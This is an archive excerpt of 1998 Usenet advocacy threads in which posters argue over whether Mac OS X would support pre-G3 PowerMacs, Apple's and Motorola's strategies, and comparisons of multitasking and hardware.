In-Reply-To: <Pine.SOL.3.96.980723150745.6484A-100000@ux9.cso.uiuc.edu>
On Thu, 23 Jul 1998, Pulsar wrote:
> On Thu, 23 Jul 1998, Michael M. Eilers wrote:
>
> > You're aking _me_ for proof? You've got nothing but speculation and
> > paranoia from word one! I cite actual, real-world evidence, of which you
> > have none, and you have the gall to ask for proof?
>
> You have misunderstood and misconstrued my arguments. Part of that is my
> fault.
>
> I came into this thread only very recently and haven't been following it
> much. I happened to see one of your posts and wanted to respond.
Woops. I thought this was a different thread. I didn't pay as
much attention to the subject header as I thought.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: not@a.valid.email.add (Michael M. Eilers)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Thu, 23 Jul 1998 16:05:41 -0700
Organization: Fearful Symmetry Designs
Sender: meilers@ip-26-117.phx.primenet.com
Message-ID: <not-2307981605420001@ip-26-117.phx.primenet.com>
References: <joe.ragosta-2007982116060001@elk57.dol.net> <B1DA7956-48FFC@206.165.43.17> <MPG.101f2d847d70bf3c9899dc@news.supernews.com> <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz> <not-2207981037460001@ip-26-093.phx.primenet.com> <jbg-2307981327420001@green.sdc.cs.boeing.com>
Mail-Copies-To: eilersm@psn.net
`vmEi&(y';5Th{Li4G1HXItb0_)&PWr
In article <jbg-2307981327420001@green.sdc.cs.boeing.com>,
jbg@sdc.cs.boeing.com (Jim Glidewell) wrote:
> If I want a mac that will _someday_ support an OS which provides true
> memory protection and full preemptive scheduling, is it "realistic"
> for me to buy *any* Apple computer _today_?
Yes. Buy a 266 MHz G3, and you will be all set. That's been true since the
beginning.
> Should we encourage all potential Mac customers who plan to keep their
> mac's for more than a year and who want such features to defer their
> purchases until OS X is actually released?
No, any Apple-motherboard G3 will run OS X, so they can buy right now or
wait. I would caution anyone against spending $1600 for a G3 upgrade, but
anyone who does so is being foolish anway when you can get an all-new G3
for the same price and a slight speed hit.
I'm personally goint to wait a while before going G3, but just because I
want the faster busses and a sense of what the upgrade path to G4 will be
like. Nothing to do with the OS.
> If Apple decides next year to cancel OS X and replace it with "Rhapsody
> Plus", which only runs on G4 Macs, will you refer to people who bought
> G3's with the expectation of running OS X on them as "unrealistic"?
Pure speculation and paranioa. You have no basis for the above expectation
at all.
> If Rhapsody 1.0 ships at a price of $1000 (a "reasonable" price for a
> "server" OS), will you consider Apple's stated commitment to support
> Rhapsody on all Mac's shipping in 1/97 as honorably met?
Yes. They never mentioned a price for it, from the very beginning.
michael
--
"If you're bored then you're boring" --Harvey Danger, from Flagpole Sitter
Michael M. Eilers * Fearful Symmetry Designs
Date: Thu, 23 Jul 1998 19:08:08 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-2307981908080001@elk68.dol.net>
References: <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net> <tbrown-1707982135270001@mv099.axom.com> <35B19951.CFB0631F@cloud9.net> <joe.ragosta-1907980715010001@elk55.dol.net> <6otqmo$s04$3@hecate.umd.edu> <joe.ragosta-2007980638300001@elk43.dol.net> <6p51vm$k5l$1@hecate.umd.edu> <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <gmgraves-2207982342130001@sf-usr1-9-137.dialup.slip.net> <joe.ragosta-2307981259010001@wil73.dol.net> <35B7ABED.1AFBFB66@ericsson.com>
In article <35B7ABED.1AFBFB66@ericsson.com>, Michael Peck
<Michael.Peck@ericsson.com> wrote:
> Joe Ragosta wrote:
>
> > Motorola is doing something incredibly stupid from a business standpoint.
> > Not only are they refusing to buy computers based on their own product,
> > but they're telling the world about it.
>
> This is what doesn't matter. You yourself have been on a bender about
> how short PPC supply has always been, yet you turn around and suggest
> that Motorola should have been restricting supply even further by moving
> product into itself rather than out to the public. Hmmmm.
Nice try. You really like making things up, don't you.
I have stated that the very high end chips are sometimes in short supply.
When the 350 MHz 604e first came out, that particular chip was in short
supply. I don't recall ever saying that _all_ PPC chips were in short
supply.
>
> PowerPC has always been a great embedded product for Motorola. Apple was
> the partner who profited from desktop sales and Motorola took Apple's
> word that it would be a good business move. We both know the rest; spin
> won't do you any good, sorry.
Sure. Motorola and IBM refused to do any advertising to support the chip.
IBM dropped OS/2 for PPC.
Motorola quit selling NT boxes.
Microsoft dropped NT for PPC.
What did Apple have to do with any of those things?
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Thu, 23 Jul 1998 18:02:50 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-2307981802510001@pm3a8.rmac.net>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com>
NNTP-Posting-Date: 24 Jul 1998 00:00:43 GMT
In article <6p45f7$l73$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> In article <Josh.McKee-2107981856040001@pm3a15.rmac.net>,
> Josh.McKee@cbns.com (Joshua T. McKee) wrote:
>
> > > The Macintosh should get preemptive multitasking (with a variety of
> > > scheduling methods possible). As a practical matter, Macintosh
multitasking
> > > is as useable, if not more, than Windows 95 multitasking.
> >
> > A statement I agree with 100%...it isn't perfect, but it's far from being
> > as bad as people make it out to be.
>
> Why don't you enumerate some instances where Windows 95 multitasking is
> inferior to Mac OS multitasking?
MS-Mail client running under Windows 95 attempting to connect to an
MS-Mail server which is unavailable. Until it times out, the Windows 95
system is hung. MS-Mail is a 16 bit program, thus it blocks Windows 95's
"Pre-emptive multitasking".
Josh
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 24 Jul 1998 00:20:39 GMT
Organization: I don't think so
Message-ID: <slrn6rfl3g.16i.jason@jhste1.dyn.ml.org>
References: <B1DA7956-48FFC@206.165.43.17> <MPG.101f2d847d70bf3c9899dc@news.supernews.com> <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz> <not-2207981037460001@ip-26-093.phx.primenet.com> <mcox-ya02408000R2307980710510001@newsource.ihug.co.nz> <35b6568f.0@news.depaul.edu> <mcox-ya02408000R2307981829100001@newsource.ihug.co.nz> <not-2307981027360001@ip-26-096.phx.primenet.com> <Pine.SOL.3.96.980723133426.10555A-100000@ux9.cso.uiuc.edu> <not-2307981300150001@ip-167-019.phx.primenet.com> <Pine.SOL.3.96.980723150745.6484A-100000@ux9.cso.uiuc.edu>
Pulsar posted the following to comp.sys.mac.advocacy:
>The PowerMac G3s are _not_ so much more advanced than many of the
>non-Gossamer PCI PowerMacs. You greatly exaggerate how obsolete these
>machines are.
It looks like the Gossamer machines have better memory bandwidth than
the older machines, but I haven't looked at the STREAM data in a while.
Frankly, I think that _all_ Apple mobos are weak in this department, but
at least Gossamer seemed to beat out previous Macs by a fair amount, IIRC.
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
Date: Fri, 24 Jul 1998 12:56:17 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-2407981256170001@wil81.dol.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <Josh.McKee-1707981733170001@pm3a19.rmac.net> <Josh.McKee-1807981007290001@pm3a21.rmac.net> <6oqjko$qqs$1@camel19.mindspring.com> <6otmti$g4$1@nnrp1.dejanews.com> <MPG.101c7d4f5307a6f09899c6@news.supernews.com>
In article <MPG.101c7d4f5307a6f09899c6@news.supernews.com>,
don.brown@cesoft.com (Donald Brown) wrote:
> In article <6otmti$g4$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca
> says...
> > > That OS was canned, it was called Copland, was due in 1996, and it didn't
> > > work out.
> >
> > As customer, I would rather have a "next generation" operating system rather
> > than excuses as to why I can't have one. Especially since they said that I
> > would have one.
> >
> "Thanks for expressing your concern, Madam. The salesman has been fired
> and the manager has committed hari kari. Will that be sufficient for
> you?"
Nice.
>
> Yes, you'd rather have the next generation OS than excuses. Apple would
> probably rather you have a next generation OS than excuses.
> Unfortunately, there are things that are prohibitively expensive and
> difficult. Apple's survival is at stake. If Apple doesn't pull this
> off, I don't think they've got another choice.
>
> As a customer, would you rather there be no Apple and you not being able
> to run the next generation OS?
Jobs was right. Survival comes first in the hierarchy of needs. And
survival is more than just staying in business. Apple had to restore
credibility on Wall Street and in the press. They're well on their way to
doing that.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: quinlan@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Fri, 24 Jul 1998 02:54:09 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6p8t0h$b24$1@nnrp1.dejanews.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu> <Pine.SOL.3.96.980723111955.24415A-100000@ux9.cso.uiuc.edu> <joe.ragosta-2307981433040001@wil48.dol.net>
In article <joe.ragosta-2307981433040001@wil48.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> Absolutely. APPLE is the one advertising how fast G3 chips are. Did
> Motorola or IBM spend even one cent on advertising their CPUs for desktop
> computers?
Why would they? Since the PPC is only found in one desktop system, they would
be promoting MacOS and all of Apple's hardware as well. That's a lot of
marketting baggage to carry when all you want to do is sell a chip. Motorla
does market their products to embedded system vendors and IBM markets their
PPC based workstations and servers.
> And where were IBM and Motorola when Microsoft was talking about dropping PPC?
Are you talking about NT on the PPC?
> And where is Motorola today when they have the option of buying boxes with
> Intel CPUs running Windows or boxes with their own CPUs running Mac OS?
Maybe they think that NT is better and are willing to use a different
processor to get it? Maybe they think that Apple's hardware is crippling
their processors such PCs have a higher overall performance? Maybe there is
some software that Motorola wants that doesn't run under the MacOS? There are
a lot of reasons that might outweight the few dollars that they get from a
Mac sell. -- Brian Quinlan quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: Earl Malmrose <malmrose@nospam.jetcity.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.sys.next.advocacy
Subject: Re: Be's had their own share of direction changes (was: Here we go again...)
Date: 24 Jul 1998 03:20:37 GMT
Organization: doesn't
Message-ID: <6p8ui5$g9n$1@news2.ispnews.com>
References: <35AD3399.FF0BD03D@rauland.com> <35B093FC.1AF8@REMOVE.wayne.edu> <joe.ragosta-1807981004130001@elk79.dol.net> <yVhs1.685$lg2.5923889@news.magma.ca> <6otft7$b4j$1@nntp2.ba.best.com> <6ouffm$jqs$1@news10.ispnews.com> <6ouqr3$99$1@nntp2.ba.best.com> <Pine.LNX.3.95.980720094618.8608P-100000@rainier.virtual-impact.com> <6p052l$j3c$1@nntp2.ba.best.com> <1dchrj7.1pmajnlrqkgqjN@quern.demon.co.uk> <6p6s8o$qk5$1@news2.ispnews.com> <6p7n78$f0l$1@nntp2.ba.best.com>
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NNTP-Posting-Date: 24 Jul 1998 03:20:37 GMT
kcd@babylon5.jumpgate.com (Kenneth C. Dyke) :
> On 07/22/98, Earl Malmrose wrote:
> >See how long NS can generate threads.
>
> I got up to 3301 threads (inside one task) on my 128MB PowerPC box,
> then things started to act funny. The limit could be something else,
> such as the maximum number of ports allowed by the kernel. In any
> case, it should fail a bit more gracefully.
3000 is pretty good. So I'm guessing the thread's stack size is about 1/10th
what BeOS's thread stack size is. Are you saying that NS didn't fail
gracefully either when overwhelmed with too many threads?
--
--Woohoo, this message posted from BeOS!
From: Macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.hardware.misc,comp.sys.next.advocacy
Subject: Re: AWESOME PRICE ON G3!-SORRY!-imac is better!
Date: Thu, 23 Jul 1998 22:11:10 -0700
Organization: EarthLink Network, Inc.
Distribution: world
Message-ID: <Macghod-2307982211150001@sdn-ar-001casbarp003.dialsprint.net>
References: <macghod-3006981443330001@sdn-ar-001casbarp061.dialsprint.net> <jpolaski-0107980900420001@d151-216.ce.mediaone.net> <359b270f.0@carrera> <macghod-0307981339160001@sdn-ar-001casbarp058.dialsprint.net> <980714201047-see@my.sig.com>
In article <980714201047-see@my.sig.com>, see@my.sig.com wrote:
> In article
> <macghod-0307981339160001@sdn-ar-001casbarp058.dialsprint.net> of groups
> comp.sys.mac.advocacy,comp.sys.mac.hardware.misc,comp.sys.next.advocacy,
> Steve Sullivan writes:
>
> > In article <359b270f.0@carrera>, court@nospam!intergate.bc.ca wrote:
> >
> > > Sorry pal, but I must disagree with you. The imac is a much better
> > > deal.
> [reasons snipped]
> >
> > Well, I disagree with you.
> [reasons snipped]
>
> And I disagree with you for one reason, OS X.
Then I assume you dont read the macos x list from omniweb, formally called
the rhapsody list. It has been stated their that the imac isnt supported
by os x yet, I think because of the usb, can someone repost the post
concerning this?
I mean please, my post was of a system for sale a month or two ago, and os
x isnt even going to be out for almost 2 years.
--
Joe [Ragosta], do not look directly at the RDF. What you want
to do is punch a hole in a piece of cardboard and
make a pin-hole camera to observe the RDF from a safe distance.
- Sal Denaro
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 24 Jul 1998 00:02:03 -0700
Message-ID: <see-below-2407980002030001@dynamic18.pm10.mv.best.com>
References: <joe.ragosta-2007982116060001@elk57.dol.net> <B1DA7956-48FFC@206.165.43.17> <MPG.101f2d847d70bf3c9899dc@news.supernews.com> <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz> <not-2207981037460001@ip-26-093.phx.primenet.com> <mcox-ya02408000R2307980710510001@newsource.ihug.co.nz> <35b6568f.0@news.depaul.edu> <mcox-ya02408000R2307981829100001@newsource.ihug.co.nz> <not-2307981027360001@ip-26-096.phx.primenet.com> <Pine.SOL.3.96.980723133426.10555A-100000@ux9.cso.uiuc.edu> <not-2307981300150001@ip-167-019.phx.primenet.com>
In article <not-2307981300150001@ip-167-019.phx.primenet.com>,
not@a.valid.email.add (Michael M. Eilers) wrote:
> In article <Pine.SOL.3.96.980723133426.10555A-100000@ux9.cso.uiuc.edu>,
> Pulsar <tokarek@uiuc.edu> wrote:
>
> > I think you misunderstand the reasons for switching away from the Mac
> > platform based on Apple's decision and underestimate the number of people
> > that will switch.
> >
> > The reason is not to make a "political" point. The reason is that dropping
> > support for machines that are still selling *new* right now in a little
> > more than a year sets a dangerous precedent.
>
> Those machines my be selling new, but they are 4 years old
> internally--they even use a type of RAM that is getting tough to find
> these days. Slow bus speeds, limited video options, and slow Ethernet (100
> MBS is the standard now, remember?) make these machines of the past,
> regardless of their sale date.
Oh, so the G3 PowerMacs must also be obsolete, right? Regardless of when
they were introduced. They have only 5MB/sec SCSI which is fairly
worthelss for many professional users (in fact slower than shipped on the
8500/8600/9500/9600/7300/7600), they have only 10MBit/sec Ethernet. And
they ony have 3 PCI slots, making them less likely to satisfy high-end
users (supposedly the target market for OS X). Limited video options? I'm
not at all sure what you mean. They all have PCI slots, making their
options only limited by the Mac platform itself, and I wouldn't call ATI
Rage II+ with 2MB of VRAM "state of the art" graphics anyway. As for slow
bus speeds--tell that to the benchmarks. With a G3 card, that doesn't seem
to matter much for most purposes. Besides which, the PCPro is only 10%
behind the G3s in bus speed, and they're _all_ slow compared to most PCs
these days (83 and 100MHz) Um, and since when did FPM 168-pin DIMMs become
"tough to find?"
> > It is not a political statement, but a fear that Apple will continue to
> > drop support for perfectly good machines before users are ready to buy new
> > ones. It's the unreasonable forced upgrade precedent that would cause some
> > users to move away from the platform.
>
> See above. More paranoia. How many Mac users do you really think sit
> around and have panic attacks because they *might* not be able to run the
> very latest up-to-the-minute OS?
None. They'll by a PC and run NT or Linux or FreeBSD instead.
> Very, very few. From my considerable
> experience (four years admin at a Mac computer lab, tech support for Mac
> and other ISPs) Mac users treat their computers as appliances: turn it on,
> do your work, turn it off. Start talking about OS X and Rhapsody in front
> of my Mac-using girlfriend, mother, or uncle and they just glaze over: and
> these people have PhDs.
Er, yeah. But OS X is aimed at high-end users, right? Otherwise, why bother?
> > Customer loyalty is _decreasing_ not increasing. While our loyalty is
> > amazing considering the circumstances, it is not unconditional.
>
> You are speaking of that one-time survey, conducted by a PC company, are
> you not? Sorry, but one data point in a list of hundreds of data points to
> the contrary is not signifigant. Nor does one data point constitute a
> trend.
>
> But I forgot that you are in the business of speculation and paranoia.
You're beginning to sound like Joe...
> > It's not about showing those Apple bastards. It's about getting away from
> > a platform for which a single company controls the OS and hardware wher
> > that company is willing to drop support for machines on a whim to force
> > people to upgrade.
>
> Specualtion. Paranioa. On a whim?? This shows how detached from reality
> you are. Do you think apple made the decision to exclude a huge user base
> ON A WHIM?
Well, then Apple should start explaining exactly what they're doing that's
so improtant to justify that. Sorry, but Apple gets itself into messes
like this, so don't blame the customers who have a legitimate reason to
complain, or at least know the details involved. If Apple can't satisfy
these customers and isn't forthcoming with answers which would make these
customers change their minds, they're likely to lose those same customers.
> Such idiocy just degrages your argument further. All
> histrionics, no substance. Until someone at Apple comes out and says,
> "Yes, we decided to exclude everything but G3s because we wanted to sell
> more hardware," all of your charges and accusations are just vapors and
> hot air.
Wrong. All of these charges and accusations are perfectly legitimate
complaints from Apple's customers, which aren't going away unless Apple
changes their position or comes out and says exactly _why_ they needed to
do this and had absolutely no alternative (ie, delaying some less-critical
features until a later release).
> > > Most Mac users are still running System 7.
> >
> > Prove that or admit it is just speculation.
>
> This is a well-known fact. Anecdotal evidence: I did tech support for a
> Mac-leaning ISP. Very, very few of our customers (who come from an
> affluent customer base, the retirement communities of Tucson, AZ) were
> running 8.0. The majority were running 7.5.1, which came installed on
> their Performas and 8500s. Many had no idea 8.0 even existed, not to
> mention 8.1.
Again, if none of these customers care one bit for all the advanced
features of OS X, then why should Apple even bother? They can certainly
save a _lot_ of money by just upgrading OS 8 and spending more on
advertising. I think the people you're talking about are not the target
market for OS X.
> Your legions of loyal Mac users ready to defect are a ghost, a dream of
> your imagination: nothing more.
Umm, just like the legions of "loyal Mac users" who have _already_ defected?
> There is
> > apparently tremendous demand for an "advanced" OS in the Macintosh
> > community. That demand has not been sated yet I'd bet.
>
> On this newsgroup, perhaps, which is a *very* skewed segement of the Mac
> OS community. Outside of it? Prove it. I've been to many AMUG meetings, a
> group with a rabid loyalty to the Mac and a power-user mentality. None of
> them have mentioned ditching their Mac just to have protected memory or
> guard pages in their OS by switching to NT. GUI, frendliness and good,
> high-qulaity hardware is important to them, not the latest buzzword
> compliance.
Hmm. Again, if Apple believes that they still have a chance to save
themselves a boatload of money by cancelling OS X/Rhapsody development
right now...
> > > See the point I made above. The users you cite do not exist. No matter how
> > > angry anyone is, only a select few will have the cash to actually go out
> > > and commit their act of rebellion.
> >
> > Poppycock. The 7300,7500,7600,8500,8600,9500, and 9600 machines were not
> > consumer level Macs. They were far from cheap and the people who bought
> > them are likely to have enough money to switch platforms especially
> > considering that hardware is generally cheaper on the PC side.
>
> Why do the people who raise this argument always forget the cost of
> software,
Again, cross-grades are typically very reasonable.
> peripherals,
Many of which will work fine with the PC (ie, external hard drives),
> and training time?
Lots of people already have experience with Windows (ie, those who are
"forced" to use it at work).
> > A whole bunch of PowerMac 9600/350s sold a couple of weeks ago and
> > PowerMac 8600/250 and 300s are still selling new today.
>
> Selling new, but they rolled off the line years ago.
Apple was making 9600/350s in quantity "years" ago?
> > Furthermore, Windows 98 does not drop support for machines that were
> > selling new one year ago.
>
> Did I say so? No, I did not. I said that PC users with *perfecty
> functional machines* ran out and bought a new one just because a new OS
> rolled out. Nothing to do with being obsoleted or excluded--they just
> wanted shiny new hardware to go with their shiny "new" (if such a word can
> be used about Win 98) OS.
Um, you were talking about 486s, which I think most people would consider
"obsolete" in the face of a PII/400 (ie, it has little to do with the OS,
but that may be a convenient spur to upgrade a very old computer). On the
other hand, the same absolutely can't be said of a 9600 with a G3/300 card
already installed. In any event, the former _can_ run the latest systems,
the latter _cannot_.
> You talk of 486s. Those are 68040 class
> > machines. We are talking 604, 604e, and some 603e systems. These are
> > Pentium, PentiumPro, and PentiumII class machines.
>
> I also know of three real-world examples of people going from Pentium and
> Pentium Pro systems to Pentium II just to run Win 98, when a simple RAM
> upgrade would have sufficed. And these were not wealthy folks.
Again, they were in no way required to upgrade by the OS. They just wanted
a faster computer (the latest available). Are you saying everyone who runs
Win98 (or NT) has the resources to do so? But Mac users who wand OS X do?
So Mac users are now either very rich, or they're _forced_ to use an
extremely backward OS? (to complement their "obsolete" 9600/350, I
suppose...)
> Please, come down of your speuclative high horse and drop all the
> paranoia. Histrionics only hurts your cause.
Please come up from out of Apple's crack. Mindless advocacy only hurts
your cause.
> By the time OS X hits the
> streets, the early PCI powermacs will be so irrelevant and dated it won't
> even be funny.
Too bad we're talking about the third generation of PCI PowerMacs, which
preceeded the G3s by only a few months and are, performance and
feature-wise, at least their equal (especially when upgraded as designed).
> A dual-G4 running Mac OS X will make the 9600/350 look like
> a Mac Classic.
Possibly, but only assuming nobody ships a "dual-G4" upgrade card for the
9600... Besides, when exactly do you expect Apple ship a computer that
will make a 9600/350 "look like a Mac Classic?" (which, IIRC, had a 16MHz
68000 and 1MB RAM...)
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 24 Jul 1998 00:24:42 -0700
Message-ID: <see-below-2407980024430001@dynamic18.pm10.mv.best.com>
References: <B1DA7956-48FFC@206.165.43.17> <MPG.101f2d847d70bf3c9899dc@news.supernews.com> <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz> <not-2207981037460001@ip-26-093.phx.primenet.com> <mcox-ya02408000R2307980710510001@newsource.ihug.co.nz> <35b6568f.0@news.depaul.edu> <mcox-ya02408000R2307981829100001@newsource.ihug.co.nz> <not-2307981027360001@ip-26-096.phx.primenet.com> <Pine.SOL.3.96.980723133426.10555A-100000@ux9.cso.uiuc.edu> <not-2307981300150001@ip-167-019.phx.primenet.com> <Pine.SOL.3.96.980723150745.6484A-100000@ux9.cso.uiuc.edu>
In article <Pine.SOL.3.96.980723150745.6484A-100000@ux9.cso.uiuc.edu>,
Pulsar <tokarek@uiuc.edu> wrote:
> On Thu, 23 Jul 1998, Michael M. Eilers wrote:
>
> > In article <Pine.SOL.3.96.980723133426.10555A-100000@ux9.cso.uiuc.edu>,
> > Pulsar <tokarek@uiuc.edu> wrote:
> >
> > Well, since you snipped all of the examples I cited without responding to
> > them, then we'll just assume you accepted them as fact.
>
> I did not want to address them specifically because I didn't think they
> were terribly pretinent. The cost of going to the PC platform is not much
> of an issue. It is already an option for many people who believe that
> supporting Apple may not be such a good idea anyway. It is already being
> done by many companies and many individuals.
Tense correction: it's already _been_ done by many companies and many
individuals.
> Furthermore, your opinion of PCs is not relevant to the people who would
> make the decision. There are people who tolerate Windows.
...a good 90+% of computer users, appearantly...
> > > > Most Mac users are still running System 7.
> > >
> > > Prove that or admit it is just speculation.
> >
> > This is a well-known fact.
>
> That doesn't mean much. Just because a lot of people believe it does
> not make it true.
> > Yes, estimates that they have sold 6 or 8 million to date are common.
> > Which leaves about 22 million Mac users running 6.x or 7.x.
>
> Apple's estimate for how many Macs are currently in use is 22 million
> IIRC. You are off by a few million on your estimate of Mac users running
> 6.x or 7.x.
While I generally buy the "6-8 million" sales of OS 8 (since sales can be
measured fairly easily), I no longer have as much confidence in the "22
million+ Mac users" numbers (which as Ryan points out, is a _total_ of Mac
users, not the number running pre-OS 8 systems, isn't it?). Isn't it
remarkable that this accepted figure has remained the same during a period
when Apple contracted significantly, and simultaneously many many
businesses (and individuals) were dumping their Macs wholesale in favor of
PCs?
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: cb@bartlet.df.lth.se (Christian Brunschen)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 24 Jul 1998 11:12:34 +0200
Organization: The Computer Society at Lund
Message-ID: <6p9j62$8ot$1@bartlet.df.lth.se>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <6p6loq$ood$1@nnrp1.dejanews.com> <slrn6re6d9.32b.jason@jhste1.dyn.ml.org> <6p85r5$h40$1@nnrp1.dejanews.com>
NNTP-Posting-User: cb
In article <6p85r5$h40$1@nnrp1.dejanews.com>, <quinlan@my-dejanews.com> wrote:
>In article <slrn6re6d9.32b.jason@jhste1.dyn.ml.org>,
> jason@jhste1.dyn.ml.org (Jason S.) wrote:
>
>> m68k->SPARC (Sun). AFAIK, Solaris never supported m68k.
>
>But didn't Solaris come out well after the introduction of the SPARC based
>Suns? And, IMHO, SunOS to Solaris was a much smaller jump than MacOS 9 to
>MacOS X will be.
Actually, Solaris _does_ run on m68k - Solaris 1, which uses SunOS 4.
Solaris 2, however, which uses SunOS 5, only runs on SPARC hardware.
There is another difference: Sun did not do a sudden switch from one to
the other; rather, they actually had both lines (m68k and SPARC) in
production in parallel for some time. The Sun 3/80 and the SPARCstation 1
were introduced simultaneously, for instance. (Yes, the 3/80 was basically
the end of the line model for m68k-based Sun workstations, but it was
there, and was about as fast as the SPARCstation 1 and fully backwards
compatible with all your old software.) And the entire Sun 4/xxx line if
machines, which introduced the SPARC, was being sold in parallel with the
Sun 3/xxx machines.
This all obviously to the best of my recollection, I may be wrong :)
>
>--
>Brian Quinlan
>quinlan@intergate.bc.ca
>
>-----== Posted via Deja News, The Leader in Internet Discussion ==-----
>http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
// Christian Brunschen
From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Thu, 23 Jul 1998 21:28:31 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-2307982128320001@pm3a20.rmac.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <6ol3nq$14g$1@vixen.cso.uiuc.edu> <Josh.McKee-1807981007290001@pm3a21.rmac.net> <bux-2007981300570001@dial-tulip-20.bway.net> <Josh.McKee-2107981853200001@pm3a15.rmac.net> <joe.ragosta-2207980951060001@wil116.dol.net> <Josh.McKee-2307981818520001@pm3a8.rmac.net> <joe.ragosta-2307982202340001@elk97.dol.net>
NNTP-Posting-Date: 24 Jul 1998 03:26:24 GMT
In article <joe.ragosta-2307982202340001@elk97.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article <Josh.McKee-2307981818520001@pm3a8.rmac.net>,
> Josh.McKee@cbns.com (Joshua T. McKee) wrote:
> > And how would this prevent the OS from running on PCI based pre-G3 Macs?
>
> It certainly makes it a much bigger job to port the OS. AND to test it
> afterwards.
I guess I just have a problem with Apple being able to have both types of
systems run OS 8.x, but for some reason their next generation OS cannot.
Likewise, Rhapsody (not MAC OS X Server) is capable of running on both
hardware platforms. Why is it so difficult, or unreasonable to expect, OS
X to run on the two different platforms when Apple is supporting both
platforms with an existing OS, and plans to do so in the future.
We're not talking hundreds of platforms here...we're talking a small
number made by the same company.
It just doesn't make sense...you are correct, but jeez, it's not like
these systems comprise a small number of 10 or so.
Josh
From: quinlan@my-dejanews.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Thu, 23 Jul 1998 23:09:35 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6p8frf$smn$1@nnrp1.dejanews.com>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <alex-2307981108350001@castle.webis.net>
In article <alex-2307981108350001@castle.webis.net>,
alex@webis.net (Alex Kac) wrote:
